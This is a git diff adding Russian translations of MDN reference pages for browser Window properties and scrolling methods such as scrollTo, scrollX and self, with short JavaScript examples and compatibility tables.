+  // uиспользовать пониженную глубину пикселей
+} else {
+  // Использовать стандартную глубину пикселей(24)
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Пояснение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-screen', 'window.screen')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cовместимость_с_браузерами">Cовместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице была сгенерирована структурировщиком данных. Если вы хотите содействовать в проекте, то пожаулйста посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>  и отправьте pull запрос.</div>
+
+<p>{{Compat("api.Window.screen")}}</p>
diff --git a/files/ru/web/api/window/screenx/index.html b/files/ru/web/api/window/screenx/index.html
new file mode 100644
index 0000000000..ad30bf1e30
--- /dev/null
+++ b/files/ru/web/api/window/screenx/index.html
@@ -0,0 +1,97 @@
+---
+title: Window.screenX
+slug: Web/API/Window/screenX
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - Window
+  - screenX
+translation_of: Web/API/Window/screenX
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>Window.screenX</strong></code> только для чтения возвращает горизонтальное расстояние в пикселях CSS левой границы окна просмотра браузера пользователя до левой части экрана.</p>
+
+<div class="blockIndicator note">
+<p><strong>Заметка</strong>: Псевдоним <code>screenX</code> был реализован во всех современных браузерах - {{domxref ("Window.screenLeft")}}. Первоначально это поддерживалось только в IE, но было введено повсеместно из-за популярности.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>leftWindowPos</em> = window.screenX
+</pre>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Число, равное количеству пикселей CSS от левого края окна просмотра браузера до левого края экрана.</p>
+
+<h2 id="Specifications" name="Specifications">Пример</h2>
+
+<p>В нашем примере <a href="https://mdn.github.io/dom-examples/screenleft-screentop/">screenleft-screentop</a> вы увидите холст, на котором нарисован круг. В этом примере мы используем {{domxref ("Window.screenLeft")}}/{{domxref ("Window.screenTop")}} плюс {{domxref("Window.requestAnimationFrame ()")}}, чтобы постоянно перерисовывать круг в том же физическом положении на экране, даже если позиция окна перемещается.</p>
+
+<pre class="brush: js">initialLeft = window.screenLeft + canvasElem.offsetLeft;
+initialTop = window.screenTop + canvasElem.offsetTop;
+
+function positionElem() {
+  let newLeft = window.screenLeft + canvasElem.offsetLeft;
+  let newTop = window.screenTop + canvasElem.offsetTop;
+
+  let leftUpdate = initialLeft - newLeft;
+  let topUpdate = initialTop - newTop;
+
+  ctx.fillStyle = 'rgb(0, 0, 0)';
+  ctx.fillRect(0, 0, width, height);
+  ctx.fillStyle = 'rgb(0, 0, 255)';
+  ctx.beginPath();
+  ctx.arc(leftUpdate + (width/2), topUpdate + (height/2) + 35, 50, degToRad(0), degToRad(360), false);
+  ctx.fill();
+
+  pElem.textContent = 'Window.screenLeft: ' + window.screenLeft + ', Window.screenTop: ' + window.screenTop;
+
+  window.requestAnimationFrame(positionElem);
+}
+
+window.requestAnimationFrame(positionElem);</pre>
+
+<p>Они работают точно так же, как <code>screenX</code> / <code>screenY</code>.</p>
+
+<p>Также в код мы включили фрагмент, который определяет, поддерживается ли <code>screenLeft</code>, и, если нет, заполняет поли в <code>screenLeft</code> / <code>screenTop</code>, используя <code>screenX</code> / <code>screenY</code>.</p>
+
+<pre class="brush: js">if(!window.screenLeft) {
+  window.screenLeft = window.screenX;
+  window.screenTop = window.screenY;
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-screenx', 'Window.screenX') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправить нам pull request.</div>
+
+<p>{{Compat("api.Window.screenX")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.screenLeft")}}</li>
+ <li>{{domxref("Window.screenY")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/scroll/index.html b/files/ru/web/api/window/scroll/index.html
new file mode 100644
index 0000000000..ffa999921d
--- /dev/null
+++ b/files/ru/web/api/window/scroll/index.html
@@ -0,0 +1,37 @@
+---
+title: Window.scroll()
+slug: Web/API/Window/scroll
+translation_of: Web/API/Window/scroll
+---
+<div>{{APIRef}}</div>
+
+<p>Прокручивает страницу до указанного места.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.scroll(<em>x-coord</em>,<em>y-coord</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>x-coord</code> - это x-координата пикселя, который окажется в верхнем левом углу экрана.</li>
+ <li><code>y-coord</code>- это y-координата пикселя, который окажется в верхнем левом углу экрана.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html;htmlScript:true;">&lt;!-- прокрутить до пикселя с y = 100 --&gt;
+
+&lt;button onClick="scroll(0, 100);"&gt;прокрутить&lt;/button&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p><a href="/en-US/docs/DOM/window.scrollTo">window.scrollTo</a> имеет тот же самый эффект. Для того, чтобы прокрутить на некоторое количество пикселей относительно текущей позиции, используйте <a href="/en-US/docs/Window.scrollBy">window.scrollBy</a>. См. также <a href="/en-US/docs/Window.scrollByLines">window.scrollByLines</a>, <a href="/en-US/docs/Window.scrollByPages">window.scrollByPages</a>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolloptions">CSSOM: scroll() Method</a></li>
+</ul>
diff --git a/files/ru/web/api/window/scrollby/index.html b/files/ru/web/api/window/scrollby/index.html
new file mode 100644
index 0000000000..bb1b2be60c
--- /dev/null
+++ b/files/ru/web/api/window/scrollby/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.scrollBy()
+slug: Web/API/Window/scrollBy
+translation_of: Web/API/Window/scrollBy
+---
+<p>{{ APIRef() }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Прокручивает документ на указанные величины.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.scrollBy(<em>X</em>, <em>Y</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>X</code> - смещение в пикселях по горизонтали.</li>
+ <li><code>Y</code> - смещение в пикселях по вертикали.</li>
+</ul>
+
+<p>Положительные значения приведут к прокрутке страницы вправо и вниз. Отрицательные координаты прокрутят страницу влево и вверх.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">// Прокрутка на один экран вертикально вниз.
+window.scrollBy(0, window.innerHeight);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p><a href="/en-US/docs/DOM/Window.scrollBy">window.scrollBy</a> прокручивает страницу на указанное количество пикселей, в то время как метод <a href="/en-US/docs/DOM/Window.scroll">window.scroll</a> указывает абсолютную позицию в документе, на которую надо сместиться. См. также <a href="/en-US/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, <a href="/en-US/docs/DOM/Window.scrollByPages">window.scrollByPages</a></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrollby', 'window.scrollBy()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/scrollbylines/index.html b/files/ru/web/api/window/scrollbylines/index.html
new file mode 100644
index 0000000000..6f2c178a2b
--- /dev/null
+++ b/files/ru/web/api/window/scrollbylines/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.scrollByLines()
+slug: Web/API/Window/scrollByLines
+translation_of: Web/API/Window/scrollByLines
+---
+<div>{{ ApiRef() }}</div>
+
+<div>
+<p id="comment_text_2">{{Non-standard_header}}</p>
+</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>Прокручивает документ на заданное число строк.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">window.scrollByLines(<var>lines</var>)
+</pre>
+
+<h2 id="Parameters" name="Parameters">Parameters</h2>
+
+<ul>
+ <li><code>lines</code> — число линий, на которое надо прокрутить документ.</li>
+ <li><code>lines</code> может быть положительным или отрицательным целым числом.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:html">&lt;!-- прокручивает страницу вниз на 5 линий. --&gt;
+&lt;button onclick="scrollByLines(5);"&gt;down 5 lines&lt;/button&gt;
+</pre>
+
+<pre class="brush:html">&lt;!-- прокручивает страницу вверх на 5 линий. --&gt;
+&lt;button onclick="scrollByLines(-5);"&gt;up 5 lines&lt;/button&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p id="comment_text_2">Не является частью спецификации</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.scrollBy")}}, {{domxref("window.scrollByPages")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/scrollmaxx/index.html b/files/ru/web/api/window/scrollmaxx/index.html
new file mode 100644
index 0000000000..1f6ca6b1f2
--- /dev/null
+++ b/files/ru/web/api/window/scrollmaxx/index.html
@@ -0,0 +1,39 @@
+---
+title: Window.scrollMaxX
+slug: Web/API/Window/scrollMaxX
+translation_of: Web/API/Window/scrollMaxX
+---
+<div>{{APIRef}} {{Non-standard_header}}</div>
+
+<p>Свойство <code><strong>Window.scrollMaxX</strong></code> (только для чтения) возвращает максимальное количество пикселей в документе, которые могут быть прокручены по горизонтали.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>xMax</em> = window.scrollMaxX
+</pre>
+
+<ul>
+ <li><code>xMax</code> количество пикселей.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">// Прокрутка к правому краю страницы
+let maxX = window.scrollMaxX;
+
+window.scrollTo(maxX, 0);
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Не используйте это свойство для получения ширины документа с помощью <a href="/en-US/docs/DOM/window.innerWidth" title="DOM/window.innerWidth">window.innerWidth</a> + window.scrollMaxX. Это не равнозначно всей ширине документа, потому что {{domxref("window.innerWidth")}} включает в себя ширину полосы прокрутки, таким образом результат будет включать себя ширину документа с шириной полосы прокрутки. Вместо этого используйте {{domxref("element.scrollWidth","document.body.scrollWidth")}}. Смотрите также {{domxref("window.scrollMaxY")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p id="comment_text_2">Не является частью спецификации.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.scrollMaxX")}}</p>
diff --git a/files/ru/web/api/window/scrollmaxy/index.html b/files/ru/web/api/window/scrollmaxy/index.html
new file mode 100644
index 0000000000..1901e5162c
--- /dev/null
+++ b/files/ru/web/api/window/scrollmaxy/index.html
@@ -0,0 +1,42 @@
+---
+title: Window.scrollMaxY
+slug: Web/API/Window/scrollMaxY
+tags:
+  - API
+  - HTML DOM
+  - Window
+  - Свойство
+translation_of: Web/API/Window/scrollMaxY
+---
+<div>{{APIRef}} {{Non-standard_header}}</div>
+
+<p>Свойство <code><strong>Window.scrollMaxY</strong></code> возвращает максимальное число пикселей по вертикали, доступных для прокрутки в документе. Только для чтения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>yMax</var> = window.scrollMaxY
+</pre>
+
+<ul>
+ <li><code>yMax</code> - число пикселей.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// Пролистать в самый низ
+var maxY = window.scrollMaxY;
+
+window.scrollTo(0,maxY);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания </h2>
+
+<p>Не используйте это свойство для получения общей высоты документа, так как оно не равнозначно {{domxref("window.innerHeight")}} + window.scrollMaxY, потому что {{domxref("window.innerHeight")}} включает ещё ширину любой видимой горизонтальной полосы прокрутке. Вместо этого применяйте {{domxref("element.scrollHeight","document.body.scrollHeight")}}. Смотрите также {{domxref("window.scrollMaxX")}} и {{domxref("window.scrollTo")}}.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.scrollMaxY")}}</p>
diff --git a/files/ru/web/api/window/scrollto/index.html b/files/ru/web/api/window/scrollto/index.html
new file mode 100644
index 0000000000..30b3a8c73f
--- /dev/null
+++ b/files/ru/web/api/window/scrollto/index.html
@@ -0,0 +1,50 @@
+---
+title: Window.scrollTo()
+slug: Web/API/Window/scrollTo
+tags:
+  - Плавная прокрутка
+  - Плавный скролл
+translation_of: Web/API/Window/scrollTo
+---
+<div>{{ APIRef }}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Прокрутка документа до указанных координат.</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="syntaxbox"><code>window.scrollTo(<em>x-coord</em>, <em>y-coord</em>)
+window.scrollTo(<em>options</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>x-coord</code> пиксель по горизонтальной оси документа, будет отображён вверху слева.</li>
+ <li><code>y-coord</code> пиксель по вертикальной оси документа, будет отображён вверху слева.</li>
+ <li><code>options</code> объект с тремя возможными параметрами:
+  <ul>
+   <li><code>top</code>, то же, что и <code>y-coord</code></li>
+   <li><code>left</code>, то же, что и <code>x-coord</code></li>
+   <li><code>behavior</code>, строка, содержащая либо <code>smooth</code>, <code>instant</code>, либо <code>auto</code>; по умолчанию <code>auto</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="function token">scrollTo</span><span class="punctuation token">(</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">1000</span> <span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// этот код меняет поведение прокрутки на "smooth"</span>
+window<span class="punctuation token">.</span><span class="function token">scrollTo</span><span class="punctuation token">(</span><span class="punctuation token">{</span>
+    top<span class="punctuation token">:</span> <span class="number token">1000</span><span class="punctuation token">,</span>
+    behavior<span class="punctuation token">:</span> <span class="string token">"smooth"</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Эта функция выполняет то же, что и <a href="/en-US/docs/DOM/Window.scroll">window.scroll</a>. Остальные функции, связанные с прокруткой <a href="/en-US/docs/DOM/Window.scrollBy">window.scrollBy</a>, <a href="/en-US/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, и <a href="/en-US/docs/DOM/Window.scrollByPages">window.scrollByPages</a>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>{{dom0}}</p>
diff --git a/files/ru/web/api/window/scrollx/index.html b/files/ru/web/api/window/scrollx/index.html
new file mode 100644
index 0000000000..79d7cc5091
--- /dev/null
+++ b/files/ru/web/api/window/scrollx/index.html
@@ -0,0 +1,156 @@
+---
+title: Window.scrollX
+slug: Web/API/Window/scrollX
+translation_of: Web/API/Window/scrollX
+---
+<div>{{ APIRef("CSSOM View") }}</div>
+
+<p><code><strong>scrollX</strong></code> — свойство только для чтения интерфейса {{domxref("Window")}}. Возвращает число пикселей, на которое документ пролистали в данный момент по горизонтали. В современных браузерах это значение является точным числом субпикселей, что означает отсутствие необходимости в полном значении количества пикселей. Вы можете получить количество  пикселей, пролистаных по вертикали с помощью свойства {{domxref("Window.scrollY", "scrollY")}} .</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var x = window.scrollX;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p> </p>
+
+<p>Возвращаемое значение является числом с плавающей точкой двойной точности, показывающее количество пикселей в документе, которые были пролистаны на данный момент от начальной позиции, где положительное значение означает, что контент был пролистан налево. Если документ был просматривается на устройстве с возможностью вычислять точное число субпикселей, то возвращаемое значение также является точным количеством субпикселей и может иметь десятичную часть. Если контент не был пролистан ни в одну из сторон по X, то <code>scrollX</code> = 0.</p>
+
+<p> </p>
+
+<div class="note">
+<p>Если вам нужно получить целочисленное значение, используйте {{jsxref("Math.round()")}} для округления.</p>
+</div>
+
+<p>Говоря технически, то <code>scrollX</code> возвращает X-координату от верхнего края текущего окна просмотра ({{Glossary("viewport")}}). Если окна просмотра нет, то возвращаемое значение = 0.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В данном примере проверяется текущая горизонтальная позиция пролистывания текущего документа. Если это число больше 400 пикселей, то окно пролистывается к началу.</p>
+
+<pre class="brush:js">if (window.scrollX &gt; 400) {
+  window.scroll(0,0);
+}</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Свойство <code>pageXOffset</code> - другое название свойства <code>scrollX</code><span style="line-height: 1.572;">:</span></p>
+
+<pre>window.pageXOffset == window.scrollX; // всегда верно</pre>
+
+<p>Для кросс-браузерной совместимости используйте <code>window.pageXOffset</code> вместо <code>window.scrollX</code>. <strong>Кроме того</strong>, старые версии Internet Explorer (&lt;9) не поддерживают оба свойства. Для работы в Internet Explorer необходимо использовать нестандарные свойства. Пример полностью совместимого со всеми браузерами кода:</p>
+
+<pre class="brush:js">var x = (window.pageXOffset !== undefined)
+  ? window.pageXOffset
+  : (document.documentElement || document.body.parentNode || document.body).scrollLeft;
+
+var y = (window.pageYOffset !== undefined)
+  ? window.pageYOffset
+  : (document.documentElement || document.body.parentNode || document.body).scrollTop;</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrollx', 'window.scrollX') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Точность субпикселей</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="line-height: 19.0909080505371px;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Точность субпикселей</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Window.scrollY")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/scrolly/index.html b/files/ru/web/api/window/scrolly/index.html
new file mode 100644
index 0000000000..8125f381ab
--- /dev/null
+++ b/files/ru/web/api/window/scrolly/index.html
@@ -0,0 +1,77 @@
+---
+title: Window.scrollY
+slug: Web/API/Window/scrollY
+translation_of: Web/API/Window/scrollY
+---
+<p class="syntaxbox">{{APIRef("CSSOM View")}}</p>
+
+<p class="syntaxbox"><code><strong>scrollY</strong></code> — свойство только для чтения интерфейса {{domxref("Window")}}. Возвращает число пикселей, на которое документ пролистали в данный момент по вертикали. В современных браузерах это значение является точным числом субпикселей, что означает отсутствие необходимости в полном значении количества пикселей. Вы можете получить количество  пикселей, пролистанных по горизонтали с помощью свойства {{domxref("Window.scrollX", "scrollX")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var y = window.scrollY</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Возвращаемое значение является числом с плавающей точкой двойной точности, показывающее количество пикселей в документе, которые были пролистаны на данный момент от начальной позиции, где положительное значение означает, что контент был пролистан наверх. Если документ был просматривается на устройстве с возможностью вычислять точное число субпикселей, то возвращаемое значение также является точным количеством субпикселей и может иметь десятичную часть. Если контент не был пролистан ни в одну из сторон по Y, то <code>scrollY</code> = 0.</p>
+
+<div class="note">
+<p>Если вам нужно получить целочисленное значение, используйте {{jsxref("Math.round()")}} для округления.</p>
+</div>
+
+<p>Говоря технически, то <code>scrollY</code> возвращает Y-координату от верхнего края текущего окна просмотра ({{Glossary("viewport")}}). Если окна просмотра нет, то возвращаемое значение = 0.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// проверить и перейти ко второй странице
+if (window.scrollY) {
+  window.scroll(0, 0);  // Обнулите позицию пролистывания на левый верхний угол документа.
+}
+
+window.scrollByPages(1);</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Применяйте данное свойство для проверки, был ли пролистан документ, когда используете похожие функции для работы с пролистыванием, такие как {{domxref("window.scrollBy", "scrollBy()")}}, {{domxref("window.scrollByLines", "scrollByLines()")}}, or {{domxref("window.scrollByPages", "scrollByPages()")}}.</p>
+
+<p>Свойство <code>pageYOffset</code> - другое название свойства <code>scrollY</code> :</p>
+
+<pre>window.pageYOffset == window.scrollY; // всегда верно</pre>
+
+<p>Для кросс-браузерной совместимости используйте <code>window.pageYOffset</code> вместо <code>window.scrollY</code>. <strong>Кроме того</strong>, старые версии Internet Explorer (&lt;9) не поддерживают оба свойства. Для работы в Internet Explorer необходимо использовать нестандарные свойства. Пример полностью совместимого со всеми браузерами кода:</p>
+
+<pre class="brush:js">var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.scrollY")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("window.scrollX")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/self/index.html b/files/ru/web/api/window/self/index.html
new file mode 100644
index 0000000000..8ba3324229
--- /dev/null
+++ b/files/ru/web/api/window/self/index.html
@@ -0,0 +1,66 @@
+---
+title: Window.self
+slug: Web/API/Window/self
+translation_of: Web/API/Window/self
+---
+<p>{{ APIRef() }}</p>
+
+<p>Cвойство <code><strong>Window.self</strong></code> доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект <code>window</code> (<code>window.self</code>) или переменную <code>self</code>. Преимущество доступа через переменную <code>self</code> заключается в том, что ее можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование <code>self</code> дает возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае <code>self</code> эквивалентна <code>window.self</code>), но также в воркерах (в случае воркера <code>self</code> эквивалентна {{domxref("WorkerGlobalScope.self")}}).</p>
+
+<h2 id="Notes" name="Notes">Пример</h2>
+
+<p>В следующем примере <code>window.self</code> точно также может быть заменено на <code>window</code>.</p>
+
+<pre class="brush:js">if (window.parent.frames[0] != window.self) {
+    // этот window не является первым frame в списке
+}
+</pre>
+
+<p>Кроме того, когда код выполняется в активном документе браузера, объект <code>window</code> является ссылкой на текущий глобальный объект и таким образом:</p>
+
+<pre class="brush:js">var w1 = window;
+var w2 = self;
+var w3 = window.window;
+var w4 = window.self;
+// Значения переменных w1, w2, w3, w4 строго равны между собой
+// Но только переменная w2 будет работать в workers
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No difference from the latest snapshot {{SpecName("HTML5.1")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'browsers.html#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No difference from the {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>First snapshot containing the definition of <code>Window.self</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.self")}}</p>
+
+<p> </p>
+
+<h2 class="noinclude" id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Its <code>Worker</code> equivalent, {{domxref("WorkerGlobalScope.self")}}.</li>
+</ul>
diff --git a/files/ru/web/api/window/sessionstorage/index.html b/files/ru/web/api/window/sessionstorage/index.html
new file mode 100644
index 0000000000..cd639b04e1
--- /dev/null
+++ b/files/ru/web/api/window/sessionstorage/index.html
@@ -0,0 +1,139 @@
+---
+title: Window.sessionStorage
+slug: Web/API/Window/sessionStorage
+translation_of: Web/API/Window/sessionStorage
+---
+<p>{{APIRef()}}</p>
+
